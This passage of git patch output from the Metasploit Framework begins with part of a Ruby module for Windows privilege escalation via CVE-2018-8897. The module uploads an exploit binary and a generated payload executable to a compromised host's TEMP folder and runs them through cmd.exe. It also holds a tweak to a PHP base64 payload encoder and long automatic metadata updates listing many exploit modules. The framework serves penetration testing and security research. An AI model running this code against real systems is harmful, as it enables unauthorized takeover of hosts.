OptString.new('EXPLOIT_NAME', + [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), + OptString.new('PAYLOAD_NAME', + [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), + OptString.new('PATH', + [false, 'Path to write binaries (%TEMP% by default).', nil]) + ]) + + end + + # Exploit method for when exploit command is issued + def exploit + # Define default values + exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + + exploit_name = exploit_name + '.exe' if exploit_name[-4,4] != '.exe' + payload_name = payload_name + '.exe' if payload_name[-4,4] != '.exe' + + # Connect to the session + begin + host = session.session_host + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue => e + print_error("Could not connect to session: #{e}") + return nil + end + + # Generate the exe payload + vprint_status("Generating EXE payload (#{payload_name})") + payload_exe = generate_payload_exe + # Writes script to target host and returns the pathname of the target file or nil if the + # file could not be written. + temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') + payload_path = temppath + "\\" + payload_name + exploit_path = temppath + "\\" + exploit_name + + unless directory?(temppath) + print_error("#{temppath} does not exists on the target") + return nil + end + + if file?(exploit_path) + print_warning("#{payload_path} already exists on the target. Deleting...") + begin + file_rm(filepath) + print_good("Deleted #{filepath}") + rescue + print_error("Unable to delete file!") + return nil + end + end + + # UPLOAD EXPLOIT + begin + #data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe + local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') + print_status(local_exploit_path) + upload_file(exploit_path, local_exploit_path) + print_good("Payload uploaded on #{sysinfo['Computer']} to #{exploit_path}") + + # Escape windows pathname separators. + #@clean_up_rc << "rm #{exploit_path.gsub(/\\/, '//')}\n" + rescue => exception + vprint_status(exception.backtrace) + print_error("Could not write the exploit on the target") + end + # UPLOAD PAYLOAD + begin + #data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe + print_status(payload_path) + write_file(payload_path, payload_exe) + print_good("Payload uploaded on #{sysinfo['Computer']} to #{exploit_path}") + + # Escape windows pathname separators. + #@clean_up_rc << "rm #{payload_path.gsub(/\\/, '//')}\n" + rescue => exception + vprint_status(exception.backtrace) + print_error("Could not write the payload on the target") + end + # EXECUTE EXPLOIT + sleep(3) + begin + print_status("Running exploit #{exploit_path} with payload #{payload_path}") + output = cmd_exec("cmd.exe", "/c #{exploit_path} #{payload_path}") + vprint_status(output) + rescue + print_error("Failed to execute payload on target") + execsuccess = false + end + end +end From e3be355c2529f46bb97e14cee3274c666c432dfa Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 15:59:01 -0700 Subject: [PATCH 148/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index bebf65c7ea..ab4da00497 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -31988,7 +31988,7 @@ "Unix In-Memory", "Linux Dropper" ], - "mod_time": "2018-07-05 13:30:55 +0000", + "mod_time": "2018-07-12 17:37:06 +0000", "path": "/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb", "is_install_path": true, "ref_name": "linux/http/hp_van_sdn_cmd_inject" @@ -71300,7 +71300,7 @@ "name": "Manage Engine Exchange Reporter Plus Unauthenticated RCE", "full_name": "exploit/windows/http/manageengine_adshacluster_rce", "rank": 600, - "disclosure_date": "2018-06-28", + "disclosure_date": "2018-06-28 00:00:00 +0000", "type": "exploit", "author": [ "Kacper Szurek " From 88bbc501040a1c93c2559fecd7a3754a5eb0e06e Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 12 Jul 2018 17:59:12 -0500 Subject: [PATCH 149/217] Utilize uniq to make char array more readable Hat tip @bcoles. --- modules/encoders/php/base64.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index ae43d8be6e..a3b10a9b54 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -22,7 +22,7 @@ class MetasploitModule < Msf::Encoder def encode_block(state, buf) # Have to have these for the decoder stub, so if they're not available, # there's nothing we can do here. - %w{( ) . _ c h r e v a l b s 6 4 d o}.each do |c| + %w{c h r ( ) . e v a l b a s e 6 4 _ d e c o d e ;}.uniq.each do |c| raise BadcharError if state.badchars.include?(c) end From ab05c1a81011724f2e415b857bd3e0b8a2cbe309 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 16:35:55 -0700 Subject: [PATCH 150/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 176 +++++++++++++++++----------------- 1 file changed, 88 insertions(+), 88 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index ab4da00497..03dca9fdc8 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -2224,7 +2224,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2009_001.rb", "is_install_path": true, "ref_name": "admin/http/typo3_sa_2009_001" @@ -2282,7 +2282,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/admin/http/typo3_sa_2010_020.rb", "is_install_path": true, "ref_name": "admin/http/typo3_sa_2010_020" @@ -2365,7 +2365,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb", "is_install_path": true, "ref_name": "admin/http/vbulletin_upgrade_admin" @@ -4213,7 +4213,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/admin/smb/samba_symlink_traversal.rb", "is_install_path": true, "ref_name": "admin/smb/samba_symlink_traversal" @@ -6025,7 +6025,7 @@ "targets": [ ], - "mod_time": "2017-12-13 14:26:27 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/dos/http/ua_parser_js_redos.rb", "is_install_path": true, "ref_name": "dos/http/ua_parser_js_redos" @@ -6145,7 +6145,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/dos/http/wordpress_long_password_dos.rb", "is_install_path": true, "ref_name": "dos/http/wordpress_long_password_dos" @@ -6176,7 +6176,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb", "is_install_path": true, "ref_name": "dos/http/wordpress_xmlrpc_dos" @@ -8729,7 +8729,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/advantech_webaccess_creds.rb", "is_install_path": true, "ref_name": "gather/advantech_webaccess_creds" @@ -8783,7 +8783,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb", "is_install_path": true, "ref_name": "gather/alienvault_newpolicyform_sqli" @@ -9281,7 +9281,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/coldfusion_pwd_props.rb", "is_install_path": true, "ref_name": "gather/coldfusion_pwd_props" @@ -9500,7 +9500,7 @@ "targets": [ ], - "mod_time": "2017-09-20 21:25:34 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/emc_cta_xxe.rb", "is_install_path": true, "ref_name": "gather/emc_cta_xxe" @@ -11085,7 +11085,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/zabbix_toggleids_sqli.rb", "is_install_path": true, "ref_name": "gather/zabbix_toggleids_sqli" @@ -16034,7 +16034,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/netdecision_traversal.rb", "is_install_path": true, "ref_name": "scanner/http/netdecision_traversal" @@ -17066,7 +17066,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/simple_webserver_traversal.rb", "is_install_path": true, "ref_name": "scanner/http/simple_webserver_traversal" @@ -17932,7 +17932,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wangkongbao_traversal.rb", "is_install_path": true, "ref_name": "scanner/http/wangkongbao_traversal" @@ -17984,7 +17984,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/webdav_internal_ip.rb", "is_install_path": true, "ref_name": "scanner/http/webdav_internal_ip" @@ -18124,7 +18124,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_content_injection.rb", "is_install_path": true, "ref_name": "scanner/http/wordpress_content_injection" @@ -18152,7 +18152,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb", "is_install_path": true, "ref_name": "scanner/http/wordpress_cp_calendar_sqli" @@ -18275,7 +18275,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_pingback_access.rb", "is_install_path": true, "ref_name": "scanner/http/wordpress_pingback_access" @@ -18443,7 +18443,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb", "is_install_path": true, "ref_name": "scanner/http/wp_mobile_pack_info_disclosure" @@ -18966,7 +18966,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb", "is_install_path": true, "ref_name": "scanner/lotus/lotus_domino_hashes" @@ -23098,7 +23098,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb", "is_install_path": true, "ref_name": "scanner/scada/sielco_winlog_fileaccess" @@ -27074,7 +27074,7 @@ "targets": [ ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/server/webkit_xslt_dropper.rb", "is_install_path": true, "ref_name": "server/webkit_xslt_dropper" @@ -29918,7 +29918,7 @@ "targets": [ "Watchguard XCS 9.2/10.0" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/freebsd/http/watchguard_cmd_exec.rb", "is_install_path": true, "ref_name": "freebsd/http/watchguard_cmd_exec" @@ -30400,7 +30400,7 @@ "targets": [ "AirTies_Air5650v3TT_FW_1.0.2.0" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/airties_login_cgi_bof.rb", "is_install_path": true, "ref_name": "linux/http/airties_login_cgi_bof" @@ -30457,7 +30457,7 @@ "targets": [ "Alienvault USM/OSSIM <= 5.3.0" ], - "mod_time": "2017-08-28 20:17:58 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/alienvault_exec.rb", "is_install_path": true, "ref_name": "linux/http/alienvault_exec" @@ -30485,7 +30485,7 @@ "targets": [ "Alienvault OSSIM 4.3" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/alienvault_sqli_exec.rb", "is_install_path": true, "ref_name": "linux/http/alienvault_sqli_exec" @@ -31040,7 +31040,7 @@ "CMD", "Linux mipsel Payload" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb", "is_install_path": true, "ref_name": "linux/http/dlink_diagnostic_exec_noauth" @@ -31400,7 +31400,7 @@ "MIPS Little Endian", "MIPS Big Endian" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb", "is_install_path": true, "ref_name": "linux/http/dlink_upnp_exec_noauth" @@ -32102,7 +32102,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/ipfire_oinkcode_exec.rb", "is_install_path": true, "ref_name": "linux/http/ipfire_oinkcode_exec" @@ -32434,7 +32434,7 @@ "CMD", "Linux mipsel Payload" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb", "is_install_path": true, "ref_name": "linux/http/linksys_wrt54gl_apply_exec" @@ -33194,7 +33194,7 @@ "targets": [ "PineApp Mail-SeCure 3.70" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb", "is_install_path": true, "ref_name": "linux/http/pineapp_test_li_conn_exec" @@ -33220,7 +33220,7 @@ "targets": [ "WiFi Pineapple 2.0.0 - 2.3.0" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb", "is_install_path": true, "ref_name": "linux/http/pineapple_bypass_cmdinject" @@ -33534,7 +33534,7 @@ "targets": [ "Sophos Web Protection Appliance 3.8.1.1" ], - "mod_time": "2017-08-28 20:17:58 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/sophos_wpa_iface_exec.rb", "is_install_path": true, "ref_name": "linux/http/sophos_wpa_iface_exec" @@ -33858,7 +33858,7 @@ "targets": [ "Automatic" ], - "mod_time": "2018-04-26 17:20:55 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb", "is_install_path": true, "ref_name": "linux/http/tp_link_sc2020n_authenticated_telnet_injection" @@ -33892,7 +33892,7 @@ "MIPS Big Endian", "MIPS Little Endian" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb", "is_install_path": true, "ref_name": "linux/http/tr064_ntpserver_cmdinject" @@ -33973,7 +33973,7 @@ "targets": [ "Linux" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/http/trendmicro_sps_exec.rb", "is_install_path": true, "ref_name": "linux/http/trendmicro_sps_exec" @@ -36124,7 +36124,7 @@ "OpenNMS / Linux x86", "OpenNMS / Linux x86_64" ], - "mod_time": "2017-08-28 20:17:58 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/misc/opennms_java_serialize.rb", "is_install_path": true, "ref_name": "linux/misc/opennms_java_serialize" @@ -36153,7 +36153,7 @@ "targets": [ "Automatic" ], - "mod_time": "2017-08-15 03:27:40 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/misc/qnap_transcode_server.rb", "is_install_path": true, "ref_name": "linux/misc/qnap_transcode_server" @@ -36402,7 +36402,7 @@ "Linux x86", "Linux x86_64" ], - "mod_time": "2017-08-31 13:57:53 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/postgres/postgres_payload.rb", "is_install_path": true, "ref_name": "linux/postgres/postgres_payload" @@ -36870,7 +36870,7 @@ "targets": [ "Automatic" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/ssh/mercurial_ssh_exec.rb", "is_install_path": true, "ref_name": "linux/ssh/mercurial_ssh_exec" @@ -36948,7 +36948,7 @@ "targets": [ "Automatic" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/linux/ssh/solarwinds_lem_exec.rb", "is_install_path": true, "ref_name": "linux/ssh/solarwinds_lem_exec" @@ -38865,7 +38865,7 @@ "Java JSP", "Ruby" ], - "mod_time": "2017-08-28 20:17:58 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/fileformat/swagger_param_inject.rb", "is_install_path": true, "ref_name": "multi/fileformat/swagger_param_inject" @@ -39370,7 +39370,7 @@ "targets": [ "Bolt 2.2.4" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/bolt_file_upload.rb", "is_install_path": true, "ref_name": "multi/http/bolt_file_upload" @@ -39483,7 +39483,7 @@ "targets": [ "Clipbucket < 4.0.0 - Release 4902" ], - "mod_time": "2018-03-24 19:25:59 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/clipbucket_fileupload_exec.rb", "is_install_path": true, "ref_name": "multi/http/clipbucket_fileupload_exec" @@ -39932,7 +39932,7 @@ "targets": [ "GitList v0.6.0" ], - "mod_time": "2018-07-06 14:25:58 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/gitlist_arg_injection.rb", "is_install_path": true, "ref_name": "multi/http/gitlist_arg_injection" @@ -40142,7 +40142,7 @@ "HP SiteScope 11.20 / Windows 2003 SP2", "HP SiteScope 11.20 / Linux CentOS 6.3" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb", "is_install_path": true, "ref_name": "multi/http/hp_sitescope_uploadfileshandler" @@ -40617,7 +40617,7 @@ "targets": [ "Automatic LotusCMS 3.0" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/lcms_php_exec.rb", "is_install_path": true, "ref_name": "multi/http/lcms_php_exec" @@ -41274,7 +41274,7 @@ "targets": [ "Nibbleblog 4.0.3" ], - "mod_time": "2017-08-28 20:17:58 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/nibbleblog_file_upload.rb", "is_install_path": true, "ref_name": "multi/http/nibbleblog_file_upload" @@ -41605,7 +41605,7 @@ "Unix CMD", "Windows" ], - "mod_time": "2017-07-26 14:35:05 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/orientdb_exec.rb", "is_install_path": true, "ref_name": "multi/http/orientdb_exec" @@ -41815,7 +41815,7 @@ "phpFileManager / Unix", "phpFileManager / Windows" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/phpfilemanager_rce.rb", "is_install_path": true, "ref_name": "multi/http/phpfilemanager_rce" @@ -42708,7 +42708,7 @@ "targets": [ "Solarwinds Store Manager <= 5.7.1" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb", "is_install_path": true, "ref_name": "multi/http/solarwinds_store_manager_auth_filter" @@ -43449,7 +43449,7 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/testlink_upload_exec.rb", "is_install_path": true, "ref_name": "multi/http/testlink_upload_exec" @@ -44054,7 +44054,7 @@ "targets": [ "Generic (PHP Payload)" ], - "mod_time": "2017-09-07 21:18:50 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/multi/http/x7chat2_php_exec.rb", "is_install_path": true, "ref_name": "multi/http/x7chat2_php_exec" @@ -46021,7 +46021,7 @@ "targets": [ "Mac OS X 10.10-10.10.4" ], - "mod_time": "2018-05-31 12:26:33 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/osx/local/dyld_print_to_file_root.rb", "is_install_path": true, "ref_name": "osx/local/dyld_print_to_file_root" @@ -46135,7 +46135,7 @@ "targets": [ "Mac OS X 10.13.1 High Sierra x64 (Native Payload)" ], - "mod_time": "2018-05-31 12:26:33 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/osx/local/root_no_password.rb", "is_install_path": true, "ref_name": "osx/local/root_no_password" @@ -47157,7 +47157,7 @@ "targets": [ "EPMP" ], - "mod_time": "2017-12-23 03:04:11 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb", "is_install_path": true, "ref_name": "unix/http/epmp1000_ping_cmd_shell" @@ -47240,7 +47240,7 @@ "targets": [ "pfSense <= 2.4.1" ], - "mod_time": "2017-12-12 14:54:49 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/unix/http/pfsense_clickjacking.rb", "is_install_path": true, "ref_name": "unix/http/pfsense_clickjacking" @@ -47269,7 +47269,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2018-01-04 12:25:31 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/unix/http/pfsense_graph_injection_exec.rb", "is_install_path": true, "ref_name": "unix/http/pfsense_graph_injection_exec" @@ -51350,7 +51350,7 @@ "targets": [ "OptimizePress" ], - "mod_time": "2017-09-07 21:18:50 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/unix/webapp/wp_optimizepress_upload.rb", "is_install_path": true, "ref_name": "unix/webapp/wp_optimizepress_upload" @@ -51439,7 +51439,7 @@ "targets": [ "pixabay-images 2.3" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb", "is_install_path": true, "ref_name": "unix/webapp/wp_pixabay_images_upload" @@ -51557,7 +51557,7 @@ "targets": [ "ThemePunch Revolution Slider (revslider) 3.0.95" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb", "is_install_path": true, "ref_name": "unix/webapp/wp_revslider_upload_execute" @@ -51819,7 +51819,7 @@ "targets": [ "ZeroShell 2.0 RC2" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/unix/webapp/zeroshell_exec.rb", "is_install_path": true, "ref_name": "unix/webapp/zeroshell_exec" @@ -54593,7 +54593,7 @@ "IE 7 on Windows XP SP3 / Windows Vista SP2", "IE 8 on Windows XP SP3" ], - "mod_time": "2017-10-05 16:44:36 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/browser/cisco_playerpt_setsource.rb", "is_install_path": true, "ref_name": "windows/browser/cisco_playerpt_setsource" @@ -55948,7 +55948,7 @@ "Internet Explorer 6/7", "Internet Explorer 8 with JRE" ], - "mod_time": "2017-10-05 16:44:36 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb", "is_install_path": true, "ref_name": "windows/browser/imgeviewer_tifmergemultifiles" @@ -61903,7 +61903,7 @@ "targets": [ "AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/fileformat/audio_coder_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/audio_coder_m3u" @@ -63248,7 +63248,7 @@ "targets": [ "Windows XP SP3" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/fileformat/gsm_sim.rb", "is_install_path": true, "ref_name": "windows/fileformat/gsm_sim" @@ -63847,7 +63847,7 @@ "targets": [ "MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/fileformat/mediacoder_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/mediacoder_m3u" @@ -65515,7 +65515,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/tfm_mmplayer_m3u_ppl_bof" @@ -67314,7 +67314,7 @@ "targets": [ "Windows 7 SP1 x86" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/ftp/kmftp_utility_cwd.rb", "is_install_path": true, "ref_name": "windows/ftp/kmftp_utility_cwd" @@ -67341,7 +67341,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2018-01-09 22:39:40 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/ftp/labf_nfsaxe.rb", "is_install_path": true, "ref_name": "windows/ftp/labf_nfsaxe" @@ -69233,7 +69233,7 @@ "DiskSavvy Enterprise v9.1.14", "DiskSavvy Enterprise v9.3.14" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/http/disksavvy_get_bof.rb", "is_install_path": true, "ref_name": "windows/http/disksavvy_get_bof" @@ -69259,7 +69259,7 @@ "targets": [ "Disk Sorter Enterprise v9.5.12" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/http/disksorter_bof.rb", "is_install_path": true, "ref_name": "windows/http/disksorter_bof" @@ -69286,7 +69286,7 @@ "targets": [ "Dup Scout Enterprise 10.0.18" ], - "mod_time": "2017-12-11 16:48:47 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/http/dup_scout_enterprise_login_bof.rb", "is_install_path": true, "ref_name": "windows/http/dup_scout_enterprise_login_bof" @@ -69544,7 +69544,7 @@ "Efmws 5.3 Universal", "Efmws 4.0 Universal" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/http/efs_fmws_userid_bof.rb", "is_install_path": true, "ref_name": "windows/http/efs_fmws_userid_bof" @@ -72753,7 +72753,7 @@ "Sync Breeze Enterprise v10.0.28", "Sync Breeze Enterprise v10.1.16" ], - "mod_time": "2018-01-12 07:05:30 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/http/syncbreeze_bof.rb", "is_install_path": true, "ref_name": "windows/http/syncbreeze_bof" @@ -72904,7 +72904,7 @@ "OfficeScan 11", "OfficeScan XG" ], - "mod_time": "2017-10-09 22:11:42 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/http/trendmicro_officescan_widget_exec.rb", "is_install_path": true, "ref_name": "windows/http/trendmicro_officescan_widget_exec" @@ -74817,7 +74817,7 @@ "targets": [ "Windows" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/local/ipass_launch_app.rb", "is_install_path": true, "ref_name": "windows/local/ipass_launch_app" @@ -75456,7 +75456,7 @@ "Automatic", "Windows 7 SP1" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/local/novell_client_nicm.rb", "is_install_path": true, "ref_name": "windows/local/novell_client_nicm" @@ -76466,7 +76466,7 @@ "ALLMediaServer 0.8 / Windows XP SP3 - English", "ALLMediaServer 0.8 / Windows 7 SP1 - English" ], - "mod_time": "2017-09-13 22:03:34 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": 